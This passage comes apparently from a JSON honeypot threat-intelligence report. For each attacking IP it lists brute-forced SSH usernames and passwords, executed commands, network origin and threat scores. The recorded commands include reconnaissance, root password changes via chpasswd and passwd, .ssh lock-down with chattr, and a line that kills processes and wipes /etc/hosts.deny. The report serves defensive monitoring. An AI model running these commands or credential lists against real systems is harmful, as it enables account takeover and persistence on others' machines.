        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Teamspeak!\\nq7sKX7bllleI\\nq7sKX7bllleI\\n\"|passwd",
        "echo \"elk\\nKKGfrEdMQq16\\nKKGfrEdMQq16\\n\"|passwd",
        "echo \"root:5tPwq7b9gbNw\"|chpasswd|bash",
        "echo \"root:pbS9h3MVmlqe\"|chpasswd|bash",
        "echo \"root:u6U6PBCO3hLr\"|chpasswd|bash",
        "echo -e \"Teamspeak!\\nq7sKX7bllleI\\nq7sKX7bllleI\"|passwd|bash",
        "echo -e \"elk\\nKKGfrEdMQq16\\nKKGfrEdMQq16\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.5,
        "persistence": 7.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 701,
        "days_active_30d": 9,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T11:42:57.189000+00:00",
        "last_seen_30d": "2026-04-10T10:13:39.955000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 567,
        "Suricata": 134
      }
    },
    "61.72.55.130": {
      "attack_count": 525,
      "first_seen": "2026-04-12T10:01:29.329Z",
      "last_seen": "2026-04-21T08:03:35.788Z",
      "sessions": 58,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "deployer",
        "git",
        "admin",
        "ahmed",
        "ali",
        "bb",
        "deploy",
        "dev",
        "ftpuser",
        "guest123",
        "hari",
        "max",
        "minecraft",
        "monika",
        "n8n",
        "nodeuser",
        "odoo"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345",
        "2025",
        "2wsx..",
        "A1234569",
        "Abcd12345#$",
        "BYROOT49",
        "Dev4",
        "Hello123",
        "L3tm31n",
        "N8n30!",
        "Odoo20!",
        "P@ssw0rd",
        "QWE111",
        "Qwer@2023",
        "Qwerty1234@",
        "Root2026"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"BYROOT49\\nA3QsbPEpydDs\\nA3QsbPEpydDs\\n\"|passwd",
        "echo \"L3tm31n\\nSizwsMxnZYg6\\nSizwsMxnZYg6\\n\"|passwd",
        "echo \"root:JSTb3qpVE72g\"|chpasswd|bash",
        "echo \"root\\nNLU8YtEqSNiH\\nNLU8YtEqSNiH\\n\"|passwd",
        "echo -e \"BYROOT49\\nA3QsbPEpydDs\\nA3QsbPEpydDs\"|passwd|bash",
        "echo -e \"L3tm31n\\nSizwsMxnZYg6\\nSizwsMxnZYg6\"|passwd|bash",
        "echo -e \"root\\nNLU8YtEqSNiH\\nNLU8YtEqSNiH\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Namyangju",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 34.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 28.2,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 657,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T10:01:29.329000+00:00",
        "last_seen_30d": "2026-04-21T08:04:42.492000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 525,
        "Suricata": 132
      }
    },
    "120.28.109.188": {
      "attack_count": 456,
      "first_seen": "2026-04-16T21:44:49.768Z",
      "last_seen": "2026-04-17T10:41:04.872Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "345gs5662d34",
        "admin",
        "steam",
        "switch",
        "andrew",
        "cephuser",
        "dspace",
        "es",
        "khalil",
        "newusername",
        "odoo",
        "p",
        "papa",
        "platform",
        "safeuser",
        "teamspeak",
        "testuser",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "111",
        "12345Abc",
        "1337",
        "1qaz#EDC",
        "2wsx@WSX",
        "94",
        "Aa666888",
        "Abcd2025",
        "Admin@123",
        "He123456789",
        "Odoo29",
        "Pass12",
        "Qazwsx1#",
        "Qazwsx321@123",
        "Qwe.1234",
        "Qwert2024",
        "Root0!!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nrT7uvYVHf93d\\nrT7uvYVHf93d\\n\"|passwd",
        "echo \"Admin@123\\nHzPH7kwQLgwa\\nHzPH7kwQLgwa\\n\"|passwd",
        "echo \"root:BREP6NqljAW4\"|chpasswd|bash",
        "echo -e \"123456\\nrT7uvYVHf93d\\nrT7uvYVHf93d\"|passwd|bash",
        "echo -e \"Admin@123\\nHzPH7kwQLgwa\\nHzPH7kwQLgwa\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "San Juan",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 23.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 586,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-16T21:44:49.768000+00:00",
        "last_seen_30d": "2026-04-17T10:42:05.765000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 456,
        "Suricata": 130
      }
    },
    "115.91.48.142": {
      "attack_count": 455,
      "first_seen": "2026-04-15T12:57:51.478Z",
      "last_seen": "2026-04-17T04:10:19.905Z",
      "sessions": 56,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "dev",
        "frappe",
        "odoo",
        "teste",
        "appuser",
        "ftpuser",
        "gabriel",
        "gitea",
        "gm",
        "guest",
        "kira",
        "nasrin",
        "newuser",
        "postgres",
        "sopuser",
        "steam",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123",
        "1234566",
        "1234Qwert",
        "1QAZ2wsx..",
        "1qaz!QAZ1qaz",
        "1qaz2wsx",
        "1qazxdr5!@#",
        "3edc#EDC",
        "4rfv$RFV",
        "830922",
        "A123456/",
        "AA123456+",
        "Aa123123.",
        "Changeme_123",
        "Default2026",
        "Dev123!",
        "Dev30"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"q1w2e3\\nNanwxLhRP3HY\\nNanwxLhRP3HY\\n\"|passwd",
        "echo \"root:UIxdAXWDdyyL\"|chpasswd|bash",
        "echo \"root:mHGicnomGYxd\"|chpasswd|bash",
        "echo -e \"q1w2e3\\nNanwxLhRP3HY\\nNanwxLhRP3HY\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Anyang-si",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 23.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.7,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 583,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-15T12:57:51.478000+00:00",
        "last_seen_30d": "2026-04-17T04:11:24.495000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 455,
        "Suricata": 128
      }
    },
    "51.75.64.35": {
      "attack_count": 405,
      "first_seen": "2026-04-27T20:50:17.076Z",
      "last_seen": "2026-04-28T13:24:48.427Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "sshvpn",
        "nginx"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@@!",
        "!qaz@wsx#edc$rfv%tgb",
        "$oauthtoken",
        "1234aA",
        "123qweqaz11",
        "2023@",
        "520456",
        "7x24.cn",
        "Aa121314",
        "Atharv@123456",
        "DDNSolutions4U",
        "M@$ter@123",
        "Master123",
        "Pass-1",
        "Password123",
        "Passwrd01!",
        "Zxcvbn123456!",
        "abazari"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"root:GBliO5xdaMqc\"|chpasswd|bash",
        "echo \"root:UUJueK6oPm8A\"|chpasswd|bash",
        "echo \"root\\n2ZAzMdC8l3XM\\n2ZAzMdC8l3XM\\n\"|passwd",
        "echo -e \"root\\n2ZAzMdC8l3XM\\n2ZAzMdC8l3XM\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 38.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 506,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T20:50:17.076000+00:00",
        "last_seen_30d": "2026-04-28T13:25:57.079000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 405,
        "Suricata": 101
      }
    },
    "165.154.1.18": {
      "attack_count": 400,
      "first_seen": "2026-04-09T18:27:06.409Z",
      "last_seen": "2026-04-09T19:08:21.240Z",
      "sessions": 33,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "patrick",
        "sammy",
        "test",
        "Ubuntu",
        "camera",
        "db2inst1",
        "deep",
        "it",
        "n8n",
        "postgres",
        "sftp_user",
        "steam",
        "test5",
        "usuario"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "00",
        "123",
        "12345678",
        "123qwer",
        "A1234567891011121314151617181920",
        "N8n26!",
        "Postgres!2025",
        "Qazwsx1..",
        "Qazwsx11111111$",
        "Test22!",
        "Xy123456@",
        "abcd1234",
        "camera",
        "hb@123456",
        "it",
        "patrick",
        "sammy31"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"patrick\\nFfy29wrThEuD\\nFfy29wrThEuD\\n\"|passwd",
        "echo \"root:iqPUduSe59kJ\"|chpasswd|bash",
        "echo \"sammy31\\nM48nO7R6tR8Y\\nM48nO7R6tR8Y\\n\"|passwd",
        "echo \"ubuntu@2024\\n0hFzztTlBtf4\\n0hFzztTlBtf4\\n\"|passwd",
        "echo -e \"patrick\\nFfy29wrThEuD\\nFfy29wrThEuD\"|passwd|bash",
        "echo -e \"sammy31\\nM48nO7R6tR8Y\\nM48nO7R6tR8Y\"|passwd|bash",
        "echo -e \"ubuntu@2024\\n0hFzztTlBtf4\\n0hFzztTlBtf4\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 11.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 474,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-09T18:27:06.409000+00:00",
        "last_seen_30d": "2026-04-09T19:09:30.777000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 400,
        "Suricata": 74
      }
    },
    "31.56.196.120": {
      "attack_count": 383,
      "first_seen": "2026-04-13T13:32:09.422Z",
      "last_seen": "2026-04-14T04:59:55.115Z",
      "sessions": 42,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "ali",
        "alma",
        "frappe",
        "installer",
        "test",
        "admin",
        "git",
        "lrendon",
        "newuser",
        "ricardo",
        "steam",
        "test1",
        "wireguard"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!QAZXCDE#@WS",
        "1234567890",
        "123qwe",
        "A12345678!",
        "Admin07!",
        "Ali12!",
        "Ali30!",
        "Asdasd123",
        "CCcc112233",
        "Cd123456",
        "Changeme123!",
        "Dm123456",
        "Frappe09!",
        "Frappe15",
        "Huawei@12345",
        "Login@123",
        "Lt12345678"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"!QAZXCDE#@WS\\nqsh9SJAMVY1C\\nqsh9SJAMVY1C\\n\"|passwd",
        "echo \"alma\\nsxYOIuIye5Fw\\nsxYOIuIye5Fw\\n\"|passwd",
        "echo \"installer\\n3l2JZWFem0O1\\n3l2JZWFem0O1\\n\"|passwd",
        "echo -e \"!QAZXCDE#@WS\\nqsh9SJAMVY1C\\nqsh9SJAMVY1C\"|passwd|bash",
        "echo -e \"alma\\nsxYOIuIye5Fw\\nsxYOIuIye5Fw\"|passwd|bash",
        "echo -e \"installer\\n3l2JZWFem0O1\\n3l2JZWFem0O1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Finland",
      "country_code": "FI",
      "city": "Helsinki",
      "asn": 56971,
      "as_org": "Cgi Global Limited",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 26.9,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 485,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-13T13:32:09.422000+00:00",
        "last_seen_30d": "2026-04-14T05:00:59.861000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 383,
        "Suricata": 102
      }
    },
    "102.88.137.213": {
      "attack_count": 367,
      "first_seen": "2026-04-21T19:35:49.952Z",
      "last_seen": "2026-04-28T08:45:08.915Z",
      "sessions": 50,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "adam",
        "admin1234",
        "botuser",
        "dmp",
        "ftptest",
        "ftpuser",
        "integral",
        "postgres",
        "satis",
        "server",
        "sky",
        "teamspeak",
        "test",
        "test0",
        "user",
        "vpn"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "!@#xcv",
        "%$@!",
        "0",
        "123456789",
        "1234567890",
        "123456abc!",
        "12netpc!@",
        "159753",
        "1Q2W3E123",
        "1qaZ2wsX",
        "Admin*2025",
        "Frappe24!",
        "Gaea2025@sz",
        "Password",
        "QWERTY",
        "Qazwsx12345..",
        "Qazwsx123456..",
        "Qwertyuio123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Frappe24!\\nZwNW9fP9NsLN\\nZwNW9fP9NsLN\\n\"|passwd",
        "echo \"root:5D5q2EJizkJs\"|chpasswd|bash",
        "echo -e \"Frappe24!\\nZwNW9fP9NsLN\\nZwNW9fP9NsLN\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Lagos",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 42.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 26.8,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 481,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T19:35:49.952000+00:00",
        "last_seen_30d": "2026-04-28T08:46:16.877000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 367,
        "Suricata": 114
      }
    },
    "98.70.48.241": {
      "attack_count": 268,
      "first_seen": "2026-04-22T15:34:01.596Z",
      "last_seen": "2026-04-22T16:20:32.773Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "test",
        "345gs5662d34",
        "ubuntu",
        "user1",
        "admin1234",
        "fileuser",
        "frappeuser",
        "hduser",
        "magento_user",
        "oracle",
        "postgres",
        "shreya",
        "webuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "6666",
        "Aa1234&",
        "Abcd@1234",
        "Admin2026#",
        "Oracle!@#",
        "P@ssw0rd2026!",
        "Postgres02",
        "QWER!123456",
        "Qq147258369",
        "Qwer@4321",
        "Qwertyuiop123",
        "Test27",
        "Xu123456",
        "Xx123456@",
        "a1b2c3",
        "admin1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"a1b2c3\\nUGFTgUwEcwZ8\\nUGFTgUwEcwZ8\\n\"|passwd",
        "echo \"pass1234\\nXPDSb8A13KgF\\nXPDSb8A13KgF\\n\"|passwd",
        "echo -e \"a1b2c3\\nUGFTgUwEcwZ8\\nUGFTgUwEcwZ8\"|passwd|bash",
        "echo -e \"pass1234\\nXPDSb8A13KgF\\nXPDSb8A13KgF\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Pune",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 27.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T15:34:01.596000+00:00",
        "last_seen_30d": "2026-04-22T16:21:33.814000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 66
      }
    },
    "20.243.208.191": {
      "attack_count": 262,
      "first_seen": "2026-04-20T16:30:26.966Z",
      "last_seen": "2026-04-20T17:17:01.106Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "teamspeak",
        "user",
        "admin",
        "frappe",
        "myuser",
        "nancy",
        "sammy",
        "tempuser",
        "user1"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "$RFV5tgb^YHN",
        "12345asdf",
        "ABA123123",
        "Admin06!",
        "Berbidvps.ir",
        "Frappe10",
        "P@ssw0rd!",
        "P@ssw0rd81",
        "Pa55w0rd",
        "Passw0rd12",
        "Password1234",
        "Qazwsx1234567@",
        "Qqqq1111",
        "Root05",
        "Root112233@#",
        "Root2021!@",
        "Sam@123",
        "Sammy2025!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Teamspeak3\\nx5jqos76yBhp\\nx5jqos76yBhp\\n\"|passwd",
        "echo \"root:9zhTLdVLp9OC\"|chpasswd|bash",
        "echo -e \"Teamspeak3\\nx5jqos76yBhp\\nx5jqos76yBhp\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Tokyo",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 25.3,
